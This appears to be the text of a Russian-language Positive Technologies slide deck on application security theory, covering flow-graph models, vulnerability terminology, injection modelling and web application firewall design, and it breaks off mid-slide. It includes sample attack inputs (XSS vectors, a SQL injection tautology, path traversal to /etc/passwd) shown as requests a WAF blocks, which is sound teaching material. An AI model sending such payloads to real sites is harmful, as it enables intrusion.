Заголовок
ptsecurity.com
Трущобы
Application
Security
Positive Technologies
Заголовок
Владимир Кочетков – руководитель отдела исследований
по анализу защищённости приложений Positive Technologies
https://about.me/vladimir.kochetkov
vkochetkov@ptsecurity.com
:~$ whoweare
Заголовок
Денис Колегов – руководитель группы исследований технологий
защиты Positive Technologies
Доцент, к. т. н., доцент кафедры защиты информации
и криптографии ТГУ
https://twitter.com/dnkolegov
dkolegov@ptsecurity.com
:~$ whoweare
Заголовок
Евгений Рыжов – руководитель отдела разработки веб-сканера
eryzhov@ptsecurity.com
:~$ whoweare
Заголовок
• Теоретические основы Application Security
• Эвристические методы защиты приложений
• Формальные методы защиты на основе исходного кода
• Объединяя подходы
• Немного о чёрных ящиках
Agenda
Заголовок
ptsecurity.com
Теоретические
основы
Application
Security
Заголовок
Предметная область, рассматривающая в качестве
объекта защиты гипотетическую информационную
систему (ИС):
• включающую в себя конкретное приложение
• объединяющую объекты окружения в единую
сущность
• замкнутую относительно информационных
потоков приложения
AppSec (Application Security) 1/2
ЗаголовокAppSec (Application Security) 2/2
Входные данные
Конфигурация окружения
Исполняющая среда
Выходные данные
Приложение
Окружение
Граница доверия
Заголовок
• Вне области влияния приложения его окружение
защищено
• Логика предметной области приложения
корректна
Допущения AppSec
Заголовок
Предметная область
Application Security
Заголовок
Множество сущностей, их инвариантов и отношений в рамках
описываемых процессов
Предметная область
Заголовок
Абстракция объекта в некотором контексте, обладающая
следующими характеристиками:
• Свойство – значимый атрибут абстрагируемого сущностью объекта
• Состояние – множество текущих значений всех свойств сущности
• Инвариант – множество допустимых состояний сущности
Отношение – утверждение, определяющее взаимосвязь
изменения состояний сущностей
Сущность
Заголовок
Каскадное изменение состояний сущностей в соответствии
с их отношениями вследствие однократного воздействия
на одну из них
Операция
Заголовок
Допустимая последовательность (поток) операций
Процесс
Заголовок
Неделимая последовательность операций в потоке
Транзакция
Заголовок
Сущность: точки на карте города
• Свойство: координаты – пара значений «широта-долгота»
• Инвариант: координаты принадлежат перекресткам города или
строениям
Сущность: маршрут
• Свойство: путь - упорядоченное множество точек на карте города
• Инвариант: путь непрерывен, проходит по улицам города в соответствии
с ПДД
• Отношение: оптимальность – длина пути минимальна для заданных
начальной и конечной точек
Сущности: точка загрузки, точка доставки
• Свойство: точка на карте города
• Инвариант: координаты принадлежат строениям
Пример: логистика
Заголовок
В терминах предметной области логистики:
построить оптимальный маршрут
из точки загрузки, проходящий через все
точки доставки по одному разу
и возвращающийся в точку загрузки.
Пример: логистика
Заголовок
В терминах предметной области теории
графов:
найти гамильтонов цикл минимального
веса в полном (дополненном ребрами
бесконечной длины) взвешенном графе.
Пример: логистика
Заголовок
Позволяют строить абстрактные модели предметных областей
Обобщённые предметные области
ЗаголовокПредметные области приложений
Вторичные:
• защищенность
• отказоустойчивость
• опыт взаимодействия
• производительность
Первичные (основные):
• интернет-торговля
• онлайн-банкинг
• бухучет
• … (тысячи их)
Каждое приложение реализует как модели основной предметной области,
так и множество моделей вторичных предметных областей
Заголовок
Предметная область
Application Security
Заголовок
Поскольку защищённость – темпоральное свойство, модель
приложения должна отражать процесс его выполнения
Выбор модели приложения
Заголовок
Приложение можно представить в виде базовых блоков, между
которыми передаётся управление в процессе выполнения
приложения
Потоки управления
ЗаголовокПотоки управления (пример 1/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 2/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 3/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 4/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 5/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 6/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 7/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 8/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 9/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 10/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 11/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 12/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 13/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 14/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки управления (пример 15/15)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
Заголовок
Потоки выполнения приложения являются производными
от потоков данных окружения
Потоки данных
ЗаголовокПотоки данных (пример 1/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки данных (пример 2/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки данных (пример 3/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки данных (пример 4/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки данных (пример 5/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки данных (пример 6/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки данных (пример 7/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки данных (пример 8/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
ЗаголовокПотоки данных (пример 9/9)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
Заголовок
Множество всех возможных значений потока данных в конкретной
точке потока выполнения определяет его состояние
Состояние потока данных
ЗаголовокСостояние потока данных (пример)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
str1 ∈ {
Encoding.UTF8.GetString(data),
"Wrong Key!"
}
Заголовок
Множество состояний всех потоков данных в конкретной точке
потока выполнения определяет состояние приложения
Состояние приложения
ЗаголовокСостояние приложения (пример)
var name = Request.Params["name"];
var key1 = Request.Params["key1"];
var parm = Request.Params["parm"];
var data = string.IsNullOrEmpty(parm) ? new char[0]: Convert.FromBase64String(parm);
string str1;
if (name + "in" == "admin")
{
if (key1 == "validkey")
{
str1 = Encoding.UTF8.GetString(data);
}
else
{
str1 = "Wrong key!";
}
Response.Write(str1);
}
str1 ∈ {
Encoding.UTF8.GetString(data),
"Wrong Key!"
}
name ∈ { Request.Params["name"] }
key1 ∈ { Request.Params["key1"] }
parm ∈ { Request.Params["parm"] }
data ∈ {
new char[0],
Convert.FromBse64String(parm)
}
Заголовок
Граф переходов между состояниями приложения определяет все
возможные потоки вычисления и является искомой моделью
процесса его выполнения
Граф потоков вычисления
ЗаголовокГраф потоков вычисления (пример 1/7)
ε {}
ЗаголовокГраф потоков вычисления (пример 2/7)
ε {
parm' {
ε Request.Params["parm1"]
}
}
ЗаголовокГраф потоков вычисления (пример 3/7)
Request.Params["cond1"] == "true" {
parm' {
ε Request.Params["parm1"]
}
}
ЗаголовокГраф потоков вычисления (пример 4/7)
Request.Params["cond1"] != "true" {
parm' {
Request.Params["cond1"] != "true"
Request.Params["parm1"]
}
}
ЗаголовокГраф потоков вычисления (пример 5/7)
Request.Params["cond1"] != "true"
&&
Request.Params["cond2"] == "true" {
parm' {
Request.Params["cond1"] != "true"
Request.Params["parm1"]
}
}
ЗаголовокГраф потоков вычисления (пример 6/7)
Request.Params["cond1"] != "true"
&&
Request.Params["cond2"] != "true" {
parm' {
Request.Params["cond1"] != "true"
Request.Params["parm1"]
}
}
ЗаголовокГраф потоков вычисления (пример 7/7)
Request.Params["cond1"] != "true" {
parm' {
Request.Params["cond2"] == "true"
Request.Params["parm2"]
||
Request.Params["cond2"] != "true"
"<div>Harmless value</div>"
}
}
Заголовок
Предметная область
Application Security
Заголовок
Приводимые далее термины и определения локальны
и не претендуют на признание в качестве общеупотребительных.
Тем не менее, они устраняют существующие разночтения
и противоречия в традиционной терминологии, позволяя перейти
от интуитивных формулировок к формальным
Disclaimer
Заголовок
Театр начинается с вешалки,
а незащищённость ИС – с её недостатков
С чего начнём?
Заголовок
Неэффективная реализация процессов вычисления, логики
предметной области или конфигурации окружения ИС
Недостаток
Заголовок
Обусловленная недостатком возможность нарушения свойств
состояния защищенности информационного потока:
• конфиденциальности
• целостности
• доступности
• авторизованности
• аутентичности
Угроза
Заголовок
Состояние возможности реализации угрозы
Уязвимость
Заголовок
Конкретный способ реализации угрозы (эксплуатации
{состояния} уязвимости)
Атака
Заголовок
Состояние невозможности реализации любой угрозы
Защищённость
Заголовок
Состояние приемлемого риска реализации любой угрозы
Безопасность
Заголовок
То, что может сделать атакующий с потоками информации,
называется угрозой (threat)
То, когда и благодаря чему он может это сделать, называется
уязвимостью (vulnerability), обусловленной недостатком
(weakness)
Иными словами
Заголовок
То, как он может это сделать, называется атакой (attack)
То, с какой вероятностью у него это удастся и какие
последствия может повлечь, называется риском (risk)
Иными словами
Заголовок
То, что не позволяет атакующему провести атаку, обеспечивает
защищенность (security)
То, что минимизирует риск, обеспечивает безопасность (safety)
Иными словами
ЗаголовокПричины и следствия
Недостаток
(weakness)
Угроза
(threat)
Уязвимость
(vulnerability)
Атака
(attack)
Риск
(risk)
Незащищенность
(insecurity)
Небезопасность
(unsafety)
Заголовок
Информационная безопасность
Защищённость приложений
Разница между ИБ и AppSec
Заголовок
Предметная область
Application Security
Заголовок
• Потоки операций являются и информационными потоками,
и сущностями модели основной предметной области
приложения
• Потоки вычисления являются и информационными потоками,
и сущностями предметной области защищённости приложения
• Потоки данных окружения являются и информационными
потоками, и сущностями модели окружения
А теперь – всё вместе
Заголовок
• Недостаток – неэффективная реализация моделей предметных
областей приложения или окружения (контролей инвариантов
их сущностей)
Примеры контролей:
• предварительная обработка потоков данных
• подтверждение аутентичности потоков операций
• проверка прав доступа к потокам данных
• обеспечение целостности потока операций
• …
А теперь – всё вместе
Заголовок
• Уязвимость приложения – состояние возможности нарушения
конфиденциальности, целостности, доступности, аутентичности
или авторизованности любого из потоков операций или
вычисления приложения, а также потоков данных окружения
• Состояние защищённости приложения возникает при
невозможности эксплуатации в нём любой уязвимости
А теперь – всё вместе
Заголовок
• Вычислительный – уязвимости, описываемые в терминах
модели процесса выполнения приложения
• Логический – уязвимости, описываемые в терминах модели
предметной области приложения
• Экзогенный – уязвимости, описываемые в терминах модели
окружения
Суперклассы уязвимостей приложения
Заголовок
«Не сегодня!»
Что мы скажем логическому и экзогенному классам?
Заголовок
Атаки на нарушение целостности потоков данных в результате их
преобразования принято называть инъекциями
Тип инъекции определяется грамматикой атакуемого потока
данных (HTML, XML, SQL, XPath, XQuery, LDAP, LINQ, Path, …)
Вычислительный класс: инъекции
Заголовок
«Пусть C – граф потоков вычисления приложения.
Пусть pvf(t) – достижимая вершина потока управления на C,
являющаяся вызовом функции прямой или косвенной
интерпретации текста t, соответствующего известной
формальной грамматике G.
Пусть e – поток аргумента входных данных на С.
Пусть De – множество потоков данных на C, порождаемых от e
и достижимых в точке вызова pvf(t), где t принадлежит De»
Моделирование инъекций (1/3)
Заголовок
«Тогда приложение уязвимо к угрозе нарушения целостности
потоков данных De в точке выполнения pvf(t), если среди них
найдётся хотя бы одна пара таких значений, при которых,
в результате их синтаксического разбора в соответствии с
грамматикой G, получаются не изоморфные друг другу деревья
разбора»
Моделирование инъекций (2/3)
ЗаголовокМоделирование инъекций (3/3)
The Essence of Command Injection Attacks in Web Applications
(http://web.cs.ucdavis.edu/~su/publications/popl06.pdf)
Заголовок
Несогласованная работа с разделяемым ресурсом
в многопоточном окружении приводит к гонкам за ресурс
Окружение любого веб-приложения является многопоточным
Вычислительный класс: гонка за ресурс
Заголовок
Пусть P – сеть Петри, построенная по C, где переходами сети
являются все промежуточные вершины C, позициями – его
вершины, соответствующие операциям чтения или записи
каждого ресурса окружения, а условиями перехода – условия
достижимости соответствующих вершин C
Тогда, возможность появления более одной метки в любом
состоянии графа маркировок P укажет на возможность
реализации угрозы нарушения целостности или аутентичности
потока вычисления
Вычислительный класс: гонка за ресурс
Заголовок
• Направлены на реализацию угрозы (нарушение одного
из свойств защищённости какого-либо потока вычисления,
операций или данных окружения)
• Могут являться как производными от предыдущих атак, так и
первообразными для последующих. Например:
• HTTP Response Splitting →
Header Spoofing →
Session Fixation
Unvalidated Redirection
Body spoofing →
Content Spoofing
Session Fixation
Unvalidated Redirection
Cross-Site Scripting
…
Свойства атак
ЗаголовокКлассификация
Классификация, объединяющая уязвимости всех классов,
опирается на признаки:
• предметная область
• недостаток
• атакуемый поток
• угроза
ЗаголовокКлассификация: инъекции
Признак Значение
Предметная область Защищённость приложения
Недостаток Неэффективная обработка потоков
данных
Информационный поток Поток данных, интерпретируемый
окружением
Угроза Нарушение целостности
ЗаголовокКлассификация: спуфинг потока операций
Признак Значение
Предметная область Защищённость приложения
Недостаток Неэффективное подтверждение
аутентичности идентификатора
потока операций
Информационный поток Поток операций
Угроза Нарушение аутентичности
ЗаголовокКлассификация: переполнение буфера
Признак Значение
Предметная область Защищённость приложения
Недостаток Неэффективный контроль записи
производных потоков окружения
в память
Информационный поток Метаданные на стеке или в куче
Угроза Нарушение целостности
ЗаголовокКлассификация: обход бизнес-логики (частный случай)
Признак Значение
Предметная область Онлайн-торговля
Недостаток Неэффективный контроль
использования купонов на скидку
Информационный поток Поток операций транзакции оплаты
заказа
Угроза Нарушение авторизованности
Заголовок
ptsecurity.com
Эвристические
методы защиты
приложений
Заголовок
• Введение
• Теория WAF
• Методы защиты веб-приложений
• Аутентификация веб-форм
• Обнаружение инъекций
• Встроенное распознавание
• Виртуальный патчинг
# План
Заголовок
• Учебно-демонстрационный межсетевой экран веб-приложений
• Shockfish WAF
• https://github.com/PositiveTechnologies/shockfish
• Shockfish.js Client-side WAF
• https://github.com/PositiveTechnologies/shockfish.js
# Shockfish
Заголовок
Введение
Заголовок
Веб-приложение – клиент-серверное приложение, в котором
клиентом является веб-браузер, сервером – веб-сервер,
а протоколом взаимодействия между ними – веб-протокол
Базовый состав
• Веб-браузер
• Веб-сервер / Сервер приложений
• СУБД
Определение
Заголовок
Огромное количество технологий и их реализаций
Простота использования
Доступность и распространенность
Низкий порог входа
• Для разработчиков
• Для пентестеров / баг-хантеров
• Для злоумышленников
Особенности
Заголовок
Необходимо построить многоуровневую защиту
В принципе невозможно устранить уязвимость в самом приложении
• Legacy
• Third-party
Необходимый механизм защиты отсутствует или сложно реализуем
• Защита от подбора паролей
• Управление доступом
• Защита от нежелательной автоматизации
Необходимо немедленно устранить обнаруженную уязвимость до ее
реального устранения в исходном коде
А что если …?
Заголовок
В 1990-х годах активно используется принцип внешнего
монитора безопасности
Текущий подход: разрабатывать приложения защищенными,
а не полагаться на внешние механизмы защиты
Владимир Кочетков. Как разработать защищенное
веб-приложение и не сойти при этом с ума
Как правильно защищать приложения?
Заголовок
Теория WAF
Заголовок
• An appliance, server plugin, or filter that applies a set of rules to an HTTP
conversation
• A security solution on the web application level which does not depend
on the application itself
• A security policy enforcement point positioned between a web application
and the client end point. This functionality can be implemented in software
or hardware, running in an appliance device, or in a typical server running
a common operating system. It may be a stand-alone device or integrated into
other network components
Что такое WAF?
Web Application Firewall Evaluation Criteria
ЗаголовокКлассический WAF
Заголовок
Развертывание:
• Bridge
• Router
• Reverse proxy
• Embedded
• Out-of band (SPAN/RSPAN)
Доставка:
• Hardware integrated
• Appliance
• Claud
• Software-only (software, web-server module, middleware, … )
• Software integrated (RASP)
Классификация
Заголовок
Detective
• Первичная валидация данных (методы, длина запроса, длина и число заголовков, …)
• Обнаружение инъекций
Mitigative – ослабление атак, от которых трудно защититься
• Проверка на соответствие RFC
• Аутентификация сообщений
• Шифрование URL или скрытых полей
• Маскирование данных
• Блокирование IP-адреса или завершение сессии
Предотвращение (prevention) – предотвращение использования
обнаруженных уязвимостей
• Виртуальный патчинг
Механизмы защиты
ЗаголовокWAF Data-flow Model
Заголовок
• Валидация HTTP-запроса (метод, длина запросов, количество
заголовков и т. д.)
• Нормализация HTTP-запроса (HTTP Parameter Pollution &
Contamination)
• Обнаружение инъекций (SQLi, LDAP, XPath и т. д.)
• Парсинг данных (XML, JSON, AMF и т. д.)
• Проверка репутации IP
Обработка запросов
Заголовок
Обнаружение утечек данных:
• stack traces
• debug information
• application errors
Обнаружение недостатков конфигураций:
• отсутствие заголовков безопасности
• небезопасная политика CSP
• небезопасная конфигурация SSL/TLS
Обработка ответов
Заголовок
Корреляция запросов и ответов HTTP:
• обнаружение отражения параметров запроса в ответе (Reflected
XSS, Open Redirect, HTTP Response Splitting)
• обнаружение успешной эксплуатации уязвимости (например,
наличие вектора Path Traversal в запросе и содержимого файла
/etc/passwd в ответе)
• User tracking – ассоциирование запросов и ответов с учетными
записями пользователей защищаемого веб-приложения
Обработка транзакций
Заголовок
• Credentials bruteforcing
• Site scraping
• Common vulnerability scanning
• Account takeover
• HTTP slow DoS attacks
• L7 DDoS
• Fraud
Механизмы защиты реализуются на основе машинного обучения
или счетчиков (например, max requests per second, max 404 errors
per minute и т. д.)
Поведенческий анализ
Заголовок
Теория
• Теория формальных языков
• LangSec
Практика
• Модель черного ящика
• Множество технологий
• Отсутствие стандартов
• Развитие клиентских частей веб-приложений
Источники ограничений
Заголовок
Входные данные – формальный язык
WAF – универсальный распознаватель (recognizer) языков атак
на веб-приложения
Можно распознать эквивалентный или менее мощный язык
Теория формальных языков
Грамматика Распознаватель
Типа 0 Машина Тьюринга
Контекстно-зависимая Линейно-ограниченный
автомат
Недетерминированная
контекстно-свободная
Недетерминированный
автомат с магазинной памятью
Детерминированная
контекстно-свободная
Недетерминированный
автомат с магазинной памятью
Регулярная Конечный автомат LangSec: Language-theoretic security
Заголовок
Недостаточное (неэффективное) распознавание (insufficient
recognition)
• Распознавание КС-языка с помощью регулярного выражения
Различимость парсеров (parser differentials)
• Одни и те же входные данные распознаются парсерами по-разному
Входные данные сложнее, чем детерминированный контекстно-
свободный язык
Проблемы
M. Patterson, S. Bratus, etc. The Seven Turrets of Babel: A
Taxonomy of LangSec Errors and How to Expunge Them
Заголовок
Предположение. Язык инъекций КС-языка является как минимум
КЗ-языком
• ' or '1 ' = '1
Язык инъекций как минимум содержит цепочки (вектора) целевого
языка, а значит, является КС-языком
• select * from foo where id = <injection>
• (select ((1)))
При этом префикс и постфикс являются контекстно-зависимыми
Проблемы
Заголовок
Веб-приложение для WAF – это просто последовательность
запросов и / или ответов
Непонимание контекста
Непонимание логики взаимодействия
• Боты
• Взлом аккаунта
• Злоупотребления (abuse / misuse)
Модель черного ящика
Заголовок
• HTTP (0.9, 1.0, 1.1, 1.2), WebSockets
• SSL (2.0, 3.0), TLS (1.0, 1.1, 1.2, 1.3), HSTS, HPKP, OCSP
• Load Balancers: F5 BIG-IP, Citrix NetScaler, …
• Web-servers: Apache, Nginx, IIS, GWS, Jetty, …
• Frameworks: ASP.NET, RoR, Django, Symfony, GWT, ExpressJS, …
• SQL Databases: MySQL, MS SQL, PostgreSQL, Oracle, …
• noSQL «Databases»: MongoDB, ElasticSearch, Redis, …
• Browsers: Chrome, IE, Opera, Firefox, Safari, Yandex Browser, …
• JavaScript libraries: jQuery, lodash, …
• JavaScript Frameworks: Angular, React, Ext.js, Ember.js, …
• HTML, CSS, XML, JSON
Множество технологий
Заголовок
Минута из жизни WAF
ЗаголовокМинута из жизни WAF
CATS /app?pageId=1 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: WAF
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
CATS /app?pageId=1 HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: WAF
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1 403 Forbidden
Server: WAF
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Acunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
HTTP/1.1 403 Forbidden
Server: WAF
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: close
Forbidden
ЗаголовокМинута из жизни WAF
GET /app?pageId=<script>alert(1)</script> HTTP/1.1
Host: example.com
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
HTTP/1.1 403 Forbidden
Server: WAF
